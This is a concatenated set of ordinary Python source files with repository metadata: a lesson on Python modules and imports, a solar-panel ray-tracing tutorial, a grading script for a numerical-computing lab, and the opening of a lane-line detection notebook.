fib1(int(sys.argv[1]))\n\n# + [markdown] {\"slideshow\": {\"slide_type\": \"slide\"}}\n# You can use the function fib by importing fibo which is the name of the file without .py extension.\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"execution\": {\"iopub.status.busy\": \"2020-09-12T13:29:31.972627Z\", \"iopub.execute_input\": \"2020-09-12T13:29:31.973839Z\", \"iopub.status.idle\": \"2020-09-12T13:29:31.978991Z\", \"shell.execute_reply\": \"2020-09-12T13:29:31.978327Z\"}}\nimport fibo\nprint(fibo.__name__)\nprint(fibo.__file__)\nfibo.fib1(1000)\n\n# + {\"execution\": {\"iopub.status.busy\": \"2020-09-12T13:29:31.983810Z\", \"iopub.execute_input\": \"2020-09-12T13:29:31.985343Z\", \"iopub.status.idle\": \"2020-09-12T13:29:31.990318Z\", \"shell.execute_reply\": \"2020-09-12T13:29:31.989653Z\"}}\n%run fibo.py 1000\n\n# + {\"slideshow\": {\"slide_type\": \"slide\"}, \"execution\": {\"iopub.status.busy\": \"2020-09-12T13:29:31.995175Z\", \"iopub.execute_input\": \"2020-09-12T13:29:31.996128Z\", \"iopub.status.idle\": \"2020-09-12T13:29:31.998886Z\", \"shell.execute_reply\": \"2020-09-12T13:29:31.999551Z\"}}\nhelp(fibo)\n\n# + [markdown] {\"slideshow\": {\"slide_type\": \"slide\"}}\n# ## Executing modules as scripts\n#\n# When you run a Python module with\n# ```bash\n# $ python fibo.py <arguments>\n# ```\n# the code in the module will be executed, just as if you imported it, but with the __name__ set to \"__main__\". The following code will be executed only in this case and not when it is imported.\n# ```python\n# if __name__ == \"__main__\":\n#     import sys\n#     fib(int(sys.argv[1]))\n# ```\n# In Jupyter notebook, you can run the fibo.py python script using magic command.\n\n# + {\"slideshow\": {\"slide_type\": \"slide\"}, \"execution\": {\"iopub.status.busy\": \"2020-09-12T13:29:32.005047Z\", \"iopub.execute_input\": \"2020-09-12T13:29:32.006164Z\", \"iopub.status.idle\": \"2020-09-12T13:29:32.009821Z\", \"shell.execute_reply\": \"2020-09-12T13:29:32.010715Z\"}}\n%run fibo.py 1000\n\n# + [markdown] {\"slideshow\": {\"slide_type\": \"fragment\"}}\n# The module is also imported.\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"execution\": {\"iopub.status.busy\": \"2020-09-12T13:29:32.016819Z\", \"iopub.execute_input\": \"2020-09-12T13:29:32.017788Z\", \"iopub.status.idle\": \"2020-09-12T13:29:32.020332Z\", \"shell.execute_reply\": \"2020-09-12T13:29:32.020947Z\"}}\nfib1(1000)\n\n# + [markdown] {\"slideshow\": {\"slide_type\": \"slide\"}}\n# ## Different ways to import a module\n# ```python\n# import fibo\n# import fibo as f\n# from fibo import fib1, fib2\n# from fibo import *\n# ```\n\n# + [markdown] {\"slideshow\": {\"slide_type\": \"fragment\"}}\n# - Last command with '*' imports all names except those beginning with an underscore (_). In most cases, do not use this facility since it introduces an unknown set of names into the interpreter, possibly hiding some things you have already defined.\n\n# + [markdown] {\"slideshow\": {\"slide_type\": \"slide\"}}\n# - If a function with same name is present in different modules imported. Last module function imported replace the previous one.\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"execution\": {\"iopub.status.busy\": \"2020-09-12T13:29:32.025313Z\", \"iopub.execute_input\": \"2020-09-12T13:29:32.026261Z\", \"iopub.status.idle\": \"2020-09-12T13:29:32.179026Z\", \"shell.execute_reply\": \"2020-09-12T13:29:32.179636Z\"}}\nfrom numpy import sqrt\nfrom scipy import sqrt\nsqrt(-1)\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"execution\": {\"iopub.status.busy\": \"2020-09-12T13:29:32.184726Z\", \"iopub.execute_input\": \"2020-09-12T13:29:32.185794Z\", \"iopub.status.idle\": \"2020-09-12T13:29:32.189313Z\", \"shell.execute_reply\": \"2020-09-12T13:29:32.189893Z\"}}\nfrom scipy import sqrt\nfrom numpy import sqrt\nsqrt(-1)\n\n# + {\"slideshow\": {\"slide_type\": \"slide\"}, \"execution\": {\"iopub.status.busy\": \"2020-09-12T13:29:32.194542Z\", \"iopub.execute_input\": \"2020-09-12T13:29:32.195587Z\", \"iopub.status.idle\": \"2020-09-12T13:29:32.199684Z\", \"shell.execute_reply\": \"2020-09-12T13:29:32.199040Z\"}}\nimport numpy as np\nimport scipy as sp\n\nprint(np.sqrt(-1+0j), sp.sqrt(-1))\n\n# + [markdown] {\"slideshow\": {\"slide_type\": \"slide\"}}\n# - For efficiency reasons, each module is only imported once per interpreter session. Therefore, if you change your modules, you must restart the interpreter \n# \u2013 If you really want to test interactively after a long run, use :\n# ```python\n# import importlib\n# importlib.reload(modulename)\n# ```\n\n# + [markdown] {\"slideshow\": {\"slide_type\": \"slide\"}}\n# ## The Module Search Path\n#\n# When a module is imported, the interpreter searches for a file named module.py in a list of directories given by the variable sys.path.\n# - Python programs can modify sys.path\n# - export the PYTHONPATH environment variable to change it on your system.\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"execution\": {\"iopub.status.busy\": \"2020-09-12T13:29:32.204098Z\", \"iopub.execute_input\": \"2020-09-12T13:29:32.205177Z\", \"iopub.status.idle\": \"2020-09-12T13:29:32.207852Z\", \"shell.execute_reply\": \"2020-09-12T13:29:32.208467Z\"}}\nimport sys\nsys.path\n\n# + {\"slideshow\": {\"slide_type\": \"slide\"}, \"execution\": {\"iopub.status.busy\": \"2020-09-12T13:29:32.212786Z\", \"iopub.execute_input\": \"2020-09-12T13:29:32.213743Z\", \"iopub.status.idle\": \"2020-09-12T13:29:32.216521Z\", \"shell.execute_reply\": \"2020-09-12T13:29:32.217111Z\"}}\nimport collections\ncollections.__path__\n\n# + [markdown] {\"slideshow\": {\"slide_type\": \"slide\"}}\n# `sys.path` is a list and you can append some directories:\n\n# + {\"execution\": {\"iopub.status.busy\": \"2020-09-12T13:29:32.221298Z\", \"iopub.execute_input\": \"2020-09-12T13:29:32.222227Z\", \"iopub.status.idle\": \"2020-09-12T13:29:32.224691Z\", \"shell.execute_reply\": \"2020-09-12T13:29:32.225273Z\"}}\nsys.path.append(\"/Users/navaro/python-notebooks/\")\nprint(sys.path)\n\n# + [markdown] {\"slideshow\": {\"slide_type\": \"slide\"}}\n# When you import a module `foo`, following files are searched in this order:\n#\n# - **foo.dll**, **foo.dylib** or **foo.so**\n# - **foo.py**\n# - **foo.pyc**\n# - **foo/\\_\\_init__.py**\n#\n\n# + [markdown] {\"slideshow\": {\"slide_type\": \"slide\"}}\n# ## Packages\n#\n# - A package is a directory containing Python module files.\n# - This directory always contains a file name \\_\\_init\\_\\_.py\n\n# + [markdown] {\"slideshow\": {\"slide_type\": \"slide\"}}\n# <pre>\n# sklearn\n# \u251c\u2500\u2500 base.py\n# \u251c\u2500\u2500 calibration.py\n# \u251c\u2500\u2500 cluster\n# \u2502\u00a0\u00a0 \u251c\u2500\u2500 __init__.py\n# \u2502\u00a0\u00a0 \u251c\u2500\u2500 _kmeans.py\n# \u2502\u00a0\u00a0 \u251c\u2500\u2500 _mean_shift.py\n# \u251c\u2500\u2500 ensemble\n# \u2502\u00a0\u00a0 \u251c\u2500\u2500 __init__.py\n# \u2502\u00a0\u00a0 \u251c\u2500\u2500 _bagging.py\n# \u2502\u00a0\u00a0 \u251c\u2500\u2500 _forest.py\n# </pre>\n#\n# cluster `__init__.py`\n#\n# <pre>\n# from ._mean_shift import mean_shift, MeanShift\n# from ._kmeans import k_means, KMeans, MiniBatchKMeans\n# </pre>\n\n# + [markdown] {\"slideshow\": {\"slide_type\": \"slide\"}}\n# ## Relative imports\n#\n# These imports use leading dots to indicate the current and parent packages involved in the relative import. In the sugiton module, you can use:\n# ```python\n# from . import cluster # import module in the same directory\n# from .. import base   # import module in parent directory\n# from ..ensemble import _forest # import module in another subdirectory of the parent directory\n# ```\n\n# + [markdown] {\"slideshow\": {\"slide_type\": \"slide\"}}\n# ## Reminder\n#\n# Don't forget that importing * is not recommended\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"execution\": {\"iopub.status.busy\": \"2020-09-12T13:29:32.229868Z\", \"iopub.execute_input\": \"2020-09-12T13:29:32.230907Z\", \"iopub.status.idle\": \"2020-09-12T13:29:32.233262Z\", \"shell.execute_reply\": \"2020-09-12T13:29:32.233875Z\"}}\nsum(range(5),-1)\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"execution\": {\"iopub.status.busy\": \"2020-09-12T13:29:32.240382Z\", \"iopub.execute_input\": \"2020-09-12T13:29:32.241342Z\", \"iopub.status.idle\": \"2020-09-12T13:29:32.243778Z\", \"shell.execute_reply\": \"2020-09-12T13:29:32.244478Z\"}}\nfrom numpy import *\nsum(range(5),-1)\n\n# + {\"slideshow\": {\"slide_type\": \"slide\"}, \"execution\": {\"iopub.status.busy\": \"2020-09-12T13:29:32.249481Z\", \"iopub.execute_input\": \"2020-09-12T13:29:32.250399Z\", \"iopub.status.idle\": \"2020-09-12T13:29:32.253014Z\", \"shell.execute_reply\": \"2020-09-12T13:29:32.253616Z\"}}\ndel sum # delete imported sum function from numpy \nhelp(sum)\n\n# + {\"slideshow\": {\"slide_type\": \"slide\"}, \"execution\": {\"iopub.status.busy\": \"2020-09-12T13:29:32.258118Z\", \"iopub.execute_input\": \"2020-09-12T13:29:32.259095Z\", \"iopub.status.idle\": \"2020-09-12T13:29:32.261731Z\", \"shell.execute_reply\": \"2020-09-12T13:29:32.262316Z\"}}\nimport numpy as np\nhelp(np.sum)\n", "meta": {"hexsha": "a86ef97fe92c460912ab6d03f339ffdb6d87e0b2", "size": 9936, "ext": "py", "lang": "Python", "max_stars_repo_path": "Python/notebooks/code/05-Modules.py", "max_stars_repo_name": "zhongyangynag/code-study", "max_stars_repo_head_hexsha": "5410929554107a384a09d899c6fa3d16ed383d2b", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Python/notebooks/code/05-Modules.py", "max_issues_repo_name": "zhongyangynag/code-study", "max_issues_repo_head_hexsha": "5410929554107a384a09d899c6fa3d16ed383d2b", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Python/notebooks/code/05-Modules.py", "max_forks_repo_name": "zhongyangynag/code-study", "max_forks_repo_head_hexsha": "5410929554107a384a09d899c6fa3d16ed383d2b", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 45.5779816514, "max_line_length": 275, "alphanum_fraction": 0.6826690821, "include": true, "reason": "import numpy,from numpy,import scipy,from scipy", "num_tokens": 3353, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.38491214448393346, "lm_q2_score": 0.21469141911224196, "lm_q1q2_score": 0.082637334532792}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # 16 - AgriPV - 3-up and 4-up collector optimization\n# \n# \n# This journal helps the exploration of varying collector widths and xgaps in the ground underneath as well as on the rear irradiance for bifacial AgriPV. The optimization varies the numpanels combinations with xgaps for having 3-up and 4-up collectors with varying space along the row (xgap). The actual raytracing is not performed in the jupyter journal but rather on the HPC, but the geometry is the same as presented here.\n# \n# The steps on this journal:\n# <ol>\n#     <li> <a href='#step1'> Making Collectors for each number panel and xgap case </a></li> \n#     <li> <a href='#step2'> Builds the Scene so it can be viewed with rvu </a></li> \n# \n# \n# An area of 40m x 20 m area is sampled on the HPC, and is highlighted in the visualizations below with an appended terrain of 'litesoil'. The image below shows the two extremes of the variables optimized and the raytrace results, including the worst-case shading experienced under the array ( 100 - min_irradiance *100 / GHI).\n# \n# \n# \n# ![AgriPV Collector Width and Xgap Optimization](../images_wiki/AdvancedJournals/AgriPV_CWandXgap_Optimization.PNG)\n# \n\n# In[1]:\n\n\nimport os\nfrom pathlib import Path\n\ntestfolder = Path().resolve().parent.parent / 'bifacial_radiance' / 'TEMP' /  'Tutorial_16'\nif not os.path.exists(testfolder):\n    os.makedirs(testfolder)\n\nprint (\"Your simulation will be stored in %s\" % testfolder)\n\n\n# In[2]:\n\n\nimport bifacial_radiance\nimport numpy as np\n\nrad_obj = bifacial_radiance.RadianceObj('tutorial_16', str(testfolder)) \n\n\n# <a id='step1'></a>\n\n# ## 1. Making Collectors for each number panel and xgap case\n\n# In[3]:\n\n\nx = 2\ny = 1\nygap = 0.1524 # m = 6 in\nzgap = 0.002 # m, veyr little gap to torquetube.\n\ntubeParams = {'diameter':0.15,\n              'tubetype':'square',\n              'material':'Metal_Grey',\n              'axisofrotation':True,\n               'visible': True}\n\nft2m = 0.3048\nxgaps = [3, 4, 6, 9, 12, 15, 18, 21]\nnumpanelss = [3, 4]\n\n\n# Loops\nfor ii in range(0, len(numpanelss)):\n    numpanels = numpanelss[ii]\n    for jj in range(0, len(xgaps)):\n        xgap = xgaps[jj]*ft2m\n\n        moduletype = 'test-module_'+str(numpanels)+'up_'+str(round(xgap,1))+'xgap'\n        rad_obj.makeModule(moduletype, \n                    x=x, y=y, \n                    xgap=xgap, zgap=zgap, ygap = ygap, numpanels=numpanels, \n                    tubeParams=tubeParams)\n\n\n# <a id='step2'></a>\n\n# ## 2. Build the Scene so it can be viewed with rvu\n\n# In[4]:\n\n\nxgaps = np.round(np.array([3, 4, 6, 9, 12, 15, 18, 21]) * ft2m,1)\nnumpanelss = [3, 4]\nsensorsxs = np.array(list(range(0, 201)))   \n\n# Select CASE:\nxgap = np.round(xgaps[-1],1)\nnumpanels = 4\n\n# All the rest\n\nft2m = 0.3048\nhub_height = 8.0 * ft2m\ny = 1\npitch = 0.001 # If I recall, it doesn't like when pitch is 0 even if it's a single row, but any value works here. \nygap = 0.15\ntilt = 18\n\nsim_name = ('Coffee_'+str(numpanels)+'up_'+\n            str(round(xgap,1))+'_xgap')\n\nalbedo = 0.35 # Grass value from Torres Molina, \"Measuring UHI in Puerto Rico\" 18th LACCEI \n            # International Multi-Conference for Engineering, Education, and Technology\n\nazimuth = 180\nif numpanels == 3:\n    nMods = 9\nif numpanels == 4:\n    nMods = 7\nnRows = 1\n\nmoduletype = 'test-module_'+str(numpanels)+'up_'+str(round(xgap,1))+'xgap'\n\nrad_obj.setGround(albedo)\nlat = 18.202142\nlon = -66.759187\nmetfile = rad_obj.getEPW(lat,lon)\nrad_obj.readWeatherFile(metfile)\n\nsceneDict = {'tilt':tilt,'pitch':pitch,'hub_height':hub_height,'azimuth':azimuth, 'nMods': nMods, 'nRows': nRows} \nscene = rad_obj.makeScene(module=moduletype,sceneDict=sceneDict,  radname = sim_name)\n\nrad_obj.gendaylit(4020)\n\n\noctfile = rad_obj.makeOct(filelist = rad_obj.getfilelist(), octname = rad_obj.basename)  \n\nname='SampleArea'\ntext='! genbox litesoil cuteBox 40 20 0.01 | xform -t -20 -10 0.01'\ncustomObject =rad_obj.makeCustomObject(name,text)\nrad_obj.appendtoScene(scene.radfiles, customObject, '!xform -rz 0')\n\noctfile = rad_obj.makeOct(rad_obj.getfilelist())  \n\n\n# \n# ### To View the generated Scene, you can navigate to the testfolder on a terminal and use:\n# \n# <b>front view:<b>\n# > rvu -vf views\\front.vp -e .0265652 -vp 2 -21 2.5 -vd 0 1 0 makemod.oct\n# \n# <b> top view: </b>\n# > rvu -vf views\\front.vp -e .0265652 -vp 5 0 70 -vd 0 0.0001 -1 makemod.oct\n#     \n# ### Or run it directly from Jupyter by removing the comment from the following cell:\n# \n\n# In[5]:\n\n\n\n## Comment the ! line below to run rvu from the Jupyter notebook instead of your terminal.\n## Simulation will stop until you close the rvu window\n\n#!rvu -vf views\\front.vp -e .0265652 -vp 2 -21 2.5 -vd 0 1 0 makemod.oct\n#!rvu -vf views\\front.vp -e .0265652 -vp 5 0 70 -vd 0 0.0001 -1 makemod.oct\n\n", "meta": {"hexsha": "d55ee118bd3f4348551af4c9c648fd48b54e6807", "size": 4772, "ext": "py", "lang": "Python", "max_stars_repo_path": "docs/tutorials/16 - AgriPV - 3-up and 4-up collector optimization.py", "max_stars_repo_name": "kperrynrel/bifacial_radiance", "max_stars_repo_head_hexsha": "cf5ae46b4ef93990e3e1619956a186376cb4fd8a", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "docs/tutorials/16 - AgriPV - 3-up and 4-up collector optimization.py", "max_issues_repo_name": "kperrynrel/bifacial_radiance", "max_issues_repo_head_hexsha": "cf5ae46b4ef93990e3e1619956a186376cb4fd8a", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "docs/tutorials/16 - AgriPV - 3-up and 4-up collector optimization.py", "max_forks_repo_name": "kperrynrel/bifacial_radiance", "max_forks_repo_head_hexsha": "cf5ae46b4ef93990e3e1619956a186376cb4fd8a", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 29.2760736196, "max_line_length": 426, "alphanum_fraction": 0.6766554904, "include": true, "reason": "import numpy", "num_tokens": 1550, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47657965106367595, "lm_q2_score": 0.17328819952513227, "lm_q1q2_score": 0.08258562966314019}}
{"text": "# solutions.py\n\"\"\"Volume II Lab 18: Conjugate Gradient. Test Driver.\"\"\"\n\n\nimport numpy as np\nfrom real_solutions import prob2, prob3\n\n\ndef test(student_module):\n    \"\"\"Grade a student's entire solutions file.\n    \n    20 points for problem 2.\n    20 points for problem 3.\n    \n    Inputs:\n        student_module: the imported module for the student's file.\n    \n    Returns:\n        score (int): the student's score, out of TOTAL.\n        feedback (str): a printout of test results for the student.\n    \"\"\"\n    tester = _testDriver()\n    tester.test_all(student_module)\n    return tester.score, tester.feedback\n\n\nclass _testDriver(object):\n    \"\"\"Class for testing a student's work.\n\n    Attributes:\n        Score (int)\n        Feedback (str)\n    \"\"\"\n    # Constructor -------------------------------------------------------------\n    def __init__(self):\n        \"\"\"Initialize the feedback attribute.\"\"\"\n        self.feedback = \"\"\n\n    # Main routine -----------------------------------------------------------\n    def test_all(self, student_module, total=40):\n        \"\"\"Grade the provided module on each problem and compile feedback.\"\"\"\n        # Reset feedback and score.\n        self.feedback = \"\"\n        self.score = 0\n\n        def test_one(problem, number, value):\n            \"\"\"Test a single problem, checking for errors.\"\"\"\n            try:\n                self.feedback += \"\\n\\nProblem {} ({} points):\".format(\n                                                                number, value)\n                points = problem(student_module)\n                self.score += points\n                self.feedback += \"\\nScore += {}\".format(points)\n            except BaseException as e:\n                self.feedback += \"\\n{}: {}\".format(self._errType(e), e)\n\n        # Grade each problem.\n        test_one(self.problem2, 2, 20)   # Problem 1: 20 points.\n        test_one(self.problem3, 3, 20)   # Problem 2: 20 points.\n\n        # Report final score.\n        percentage = (100. * self.score) / total\n        self.feedback += \"\\n\\nTotal score: {}/{} = {}%\".format(\n                                    self.score, total, round(percentage, 2))\n        if   percentage >=  98: self.feedback += \"\\n\\nExcellent!\"\n        elif percentage >=  90: self.feedback += \"\\n\\nGreat job!\"\n\n        # Add comments (optionally).\n        print(self.feedback)\n        comments = str(raw_input(\"Comments: \"))\n        if len(comments) > 0:\n            self.feedback += '\\n\\n\\nComments:\\n\\t{}'.format(comments)\n\n    # Helper Functions --------------------------------------------------------\n    @staticmethod\n    def _errType(error):\n        \"\"\"Get just the name of the exception 'error' in string format.\"\"\"\n        return str(type(error).__name__)\n\n    def _eqTest(self, correct, student, message):\n        \"\"\"Test to see if 'correct' and 'student' are equal.\n        Report the given 'message' if they are not.\n        \"\"\"\n        if np.allclose(correct, student, atol=1e-4, rtol=1e-4):\n            return 1\n        else:\n            self.feedback += \"\\n{}\".format(message)\n            self.feedback += \"\\n\\tCorrect response: {}\".format(correct)\n            self.feedback += \"\\n\\tStudent response: {}\".format(student)\n            return 0\n\n    # Problems ----------------------------------------------------------------\n    def problem2(self, s):\n        \"\"\"Test prob2() (linregression problem). 20 points.\"\"\"\n\n        correct, student = prob2(), s.prob2()\n        if type(student) != np.ndarray:\n            raise TypeError(\"Failed to return a NumPy array.\")\n\n        return 20 * self._eqTest(correct, student, \"Incorrect Answer.\")\n\n    def problem3(self, s):\n        \"\"\"Test prob3() (logregression problem). 20 points.\"\"\"\n        \n        correct, student = prob3(), s.prob3()\n        if type(student) != np.ndarray:\n            raise TypeError(\"Failed to return a NumPy array.\")\n\n        return 20 * self._eqTest(correct, student, \"Incorrect Answer.\")\n\n\n# Validation ==================================================================\nif __name__ == '__main__':\n    \"\"\"Validate the test driver by testing the solutions file.\"\"\"\n    import solutions\n    test(solutions)\n\n", "meta": {"hexsha": "90cb37a09322c36f70743b87ce17c428ca4effd1", "size": 4156, "ext": "py", "lang": "Python", "max_stars_repo_path": "Vol2B/ConjugateGradient/testDriver.py", "max_stars_repo_name": "joshualy/numerical_computing", "max_stars_repo_head_hexsha": "9f474e36fe85ae663bd20e2f2d06265d1f095173", "max_stars_repo_licenses": ["CC-BY-3.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Vol2B/ConjugateGradient/testDriver.py", "max_issues_repo_name": "joshualy/numerical_computing", "max_issues_repo_head_hexsha": "9f474e36fe85ae663bd20e2f2d06265d1f095173", "max_issues_repo_licenses": ["CC-BY-3.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Vol2B/ConjugateGradient/testDriver.py", "max_forks_repo_name": "joshualy/numerical_computing", "max_forks_repo_head_hexsha": "9f474e36fe85ae663bd20e2f2d06265d1f095173", "max_forks_repo_licenses": ["CC-BY-3.0"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2019-11-05T14:45:03.000Z", "max_forks_repo_forks_event_max_datetime": "2019-11-05T14:45:03.000Z", "avg_line_length": 35.2203389831, "max_line_length": 79, "alphanum_fraction": 0.5295957652, "include": true, "reason": "import numpy", "num_tokens": 879, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47657965106367595, "lm_q2_score": 0.17328819952513227, "lm_q1q2_score": 0.08258562966314019}}
{"text": "\n# coding: utf-8\n\n# # Self-Driving Car Engineer Nanodegree\n# \n# \n# ## Project: **Finding Lane Lines on the Road** \n# ***\n# In this project, you will use the tools you learned about in the lesson to identify lane lines on the road.  You can develop your pipeline on a series of individual images, and later apply the result to a video stream (really just a series of images). Check out the video clip \"raw-lines-example.mp4\" (also contained in this repository) to see what the output should look like after using the helper functions below. \n# \n# Once you have a result that looks roughly like \"raw-lines-example.mp4\", you'll need to get creative and try to average and/or extrapolate the line segments you've detected to map out the full extent of the lane lines.  You can see an example of the result you're going for in the video \"P1_example.mp4\".  Ultimately, you would like to draw just one line for the left side of the lane, and one for the right.\n# \n# In addition to implementing code, there is a brief writeup to complete. The writeup should be completed in a separate file, which can be either a markdown file or a pdf document. There is a [write up template](https://github.com/udacity/CarND-LaneLines-P1/blob/master/writeup_template.md) that can be used to guide the writing process. Completing both the code in the Ipython notebook and the writeup template will cover all of the [rubric points](https://review.udacity.com/#!/rubrics/322/view) for this project.\n# \n# ---\n# Let's have a look at our first image called 'test_images/solidWhiteRight.jpg'.  Run the 2 cells below (hit Shift-Enter or the \"play\" button above) to display the image.\n# \n# **Note: If, at any point, you encounter frozen display windows or other confounding issues, you can always start again with a clean slate by going to the \"Kernel\" menu above and selecting \"Restart & Clear Output\".**\n# \n# ---\n\n# **The tools you have are color selection, region of interest selection, grayscaling, Gaussian smoothing, Canny Edge Detection and Hough Tranform line detection.  You  are also free to explore and try other techniques that were not presented in the lesson.  Your goal is piece together a pipeline to detect the line segments in the image, then average/extrapolate them and draw them onto the image for display (as below).  Once you have a working pipeline, try it out on the video stream below.**\n# \n# ---\n# \n# <figure>\n#  <img src=\"examples/line-segments-example.jpg\" width=\"380\" alt=\"Combined Image\" />\n#  <figcaption>\n#  <p></p> \n#  <p style=\"text-align: center;\"> Your output should look something like this (above) after detecting line segments using the helper functions below </p> \n#  </figcaption>\n# </figure>\n#  <p></p> \n# <figure>\n#  <img src=\"examples/laneLines_thirdPass.jpg\" width=\"380\" alt=\"Combined Image\" />\n#  <figcaption>\n#  <p></p> \n#  <p style=\"text-align: center;\"> Your goal is to connect/average/extrapolate line segments to get output like this</p> \n#  </figcaption>\n# </figure>\n\n# **Run the cell below to import some packages.  If you get an `import error` for a package you've already installed, try changing your kernel (select the Kernel menu above --> Change Kernel).  Still have problems?  Try relaunching Jupyter Notebook from the terminal prompt.  Also, consult the forums for more troubleshooting tips.**  \n\n# ## Import Packages\n\n# In[1]:\n\n\n#importing some useful packages\nimport matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\nimport numpy as np\nimport cv2\nget_ipython().run_line_magic('matplotlib', 'inline')\n\n\n# ## Read in an Image\n\n# In[2]:\n\n\n#reading in an image\nimage = mpimg.imread('test_images/solidWhiteRight.jpg')\n\n#printing out some stats and plotting\nprint('This image is:', type(image), 'with dimensions:', image.shape)\n\nplt.figure(figsize=(20,20))\nplt.subplot(1,2,1)\nplt.imshow(image)  # if you wanted to show a single color channel image called 'gray', for example, call as plt.imshow(gray, cmap='gray')\ngray = cv2.cvtColor(image,cv2.COLOR_RGB2GRAY)\n\nplt.subplot(1,2,2)\nplt.imshow(gray, cmap='gray')\n\nprint(\"origin image shape\",image.shape)\nprint(\"gray image shape\",gray.shape)\n\n\n# ## Ideas for Lane Detection Pipeline\n\n# **Some OpenCV functions (beyond those introduced in the lesson) that might be useful for this project are:**\n# \n# `cv2.inRange()` for color selection  \n# `cv2.fillPoly()` for regions selection  \n# `cv2.line()` to draw lines on an image given endpoints  \n# `cv2.addWeighted()` to coadd / overlay two images\n# `cv2.cvtColor()` to grayscale or change color\n# `cv2.imwrite()` to output images to file  \n# `cv2.bitwise_and()` to apply a mask to an image\n# \n# **Check out the OpenCV documentation to learn about these and discover even more awesome functionality!**\n\n# ## Helper Functions\n\n# Below are some helper functions to help get you started. They should look familiar from the lesson!\n\n# In[3]:\n\n\nimport math\nimport os\nfrom collections import deque\n\nimages = os.listdir(\"test_images/\")\n\nfig_size = 30\nCOL = 2\n        \n# \u8f6c\u6362\u4e3a\u7070\u9636\u56fe\u50cf\ndef grayscale(img):\n    \"\"\"Applies the Grayscale transform\n    This will return an image with only one color channel\n    but NOTE: to see the returned image as grayscale\n    (assuming your grayscaled image is called 'gray')\n    you should call plt.imshow(gray, cmap='gray')\"\"\"\n   \n    return cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)\n    # Or use BGR2GRAY if you read an image with cv2.imread()\n    # return cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\n# canny \u8fb9\u7f18\u68c0\u6d4b\ndef canny(img, low_threshold, high_threshold):\n    \"\"\"Applies the Canny transform\"\"\"\n    return cv2.Canny(img, low_threshold, high_threshold)\n\n# \u56fe\u50cf\u5e73\u6ed1\uff1a\u9ad8\u65af\u6a21\u7cca\ndef gaussian_blur(img, kernel_size):\n    \"\"\"Applies a Gaussian Noise kernel\"\"\"\n    return cv2.GaussianBlur(img, (kernel_size, kernel_size), 0)\n\n# \u76ee\u6807\u533a\u57df\u9009\u53d6\ndef region_of_interest(img, vertices):\n    \"\"\"\n    Applies an image mask.\n    \n    Only keeps the region of the image defined by the polygon\n    formed from `vertices`. The rest of the image is set to black.\n    `vertices` should be a numpy array of integer points.\n    \"\"\"\n    #defining a blank mask to start with\n    mask = np.zeros_like(img)   \n    \n    #defining a 3 channel or 1 channel color to fill the mask with depending on the input image\n    if len(img.shape) > 2:\n        channel_count = img.shape[2]  # i.e. 3 or 4 depending on your image\n        ignore_mask_color = (255,) * channel_count\n    else:\n        ignore_mask_color = 255\n        \n    #filling pixels inside the polygon defined by \"vertices\" with the fill color    \n    cv2.fillPoly(mask, vertices, ignore_mask_color)\n    #returning the image only where mask pixels are nonzero\n    masked_image = cv2.bitwise_and(img, mask)\n    \n    return masked_image,mask\n\n\n\ndef draw_lines(img, lines, color=[0, 255, 0], thickness=4):\n    \"\"\"\n    NOTE: this is the function you might want to use as a starting point once you want to \n    average/extrapolate the line segments you detect to map out the full\n    extent of the lane (going from the result shown in raw-lines-example.mp4\n    to that shown in P1_example.mp4).  \n    \n    Think about things like separating line segments by their \n    slope ((y2-y1)/(x2-x1)) to decide which segments are part of the left\n    line vs. the right line.  Then, you can average the position of each of \n    the lines and extrapolate to the top and bottom of the lane.\n    \n    This function draws `lines` with `color` and `thickness`.    \n    Lines are drawn on the image inplace (mutates the image).\n    If you want to make the lines semi-transparent, think about combining\n    this function with the weighted_img() function below\n    \"\"\"\n    #fit_left = np.polyfit((left_bottom[0], apex[0]), (left_bottom[1], apex[1]), 1)\n    \n    for line in lines:\n        for x1,y1,x2,y2 in line:\n            slope = (y2-y1)/(x2-x1)\n            if abs(slope) < 0.4 or abs(slope)>1:\n                continue\n            cv2.line(img, (x1, y1), (x2, y2), color, thickness)\n\ndef hough_lines(img, rho, theta, threshold, min_line_len, max_line_gap):\n    \"\"\"\n    `img` should be the output of a Canny transform.\n        \n    Returns an image with hough lines drawn.\n    \"\"\"\n    lines = cv2.HoughLinesP(img, rho, theta, threshold, np.array([]), minLineLength=min_line_len, maxLineGap=max_line_gap)\n    line_img = 